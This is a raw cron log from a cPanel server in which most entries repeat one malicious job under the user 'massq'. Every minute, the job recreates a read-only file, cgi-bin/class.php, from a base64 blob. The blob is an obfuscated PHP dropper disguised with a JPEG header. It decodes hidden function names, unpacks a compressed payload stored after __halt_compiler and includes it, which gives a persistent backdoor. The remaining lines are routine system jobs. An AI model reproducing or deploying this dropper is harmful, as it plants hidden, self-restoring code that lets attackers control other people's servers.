Nov 10 20:26:01 server CROND[14336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:27:01 server CROND[14957]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 20:27:01 server CROND[14958]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:28:01 server CROND[15351]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:29:01 server CROND[16021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:30:01 server CROND[16561]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:30:01 server CROND[16562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:30:01 server CROND[16566]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 10 20:30:01 server CROND[16567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:30:01 server CROND[16568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:31:01 server CROND[17275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:32:01 server CROND[18186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:33:01 server CROND[18939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:34:01 server CROND[19291]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:35:01 server CROND[20115]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 20:35:01 server CROND[20119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 20:35:01 server CROND[20120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:35:01 server CROND[20121]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:35:01 server CROND[20122]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:36:01 server CROND[20998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:37:01 server CROND[21517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:38:01 server CROND[22376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
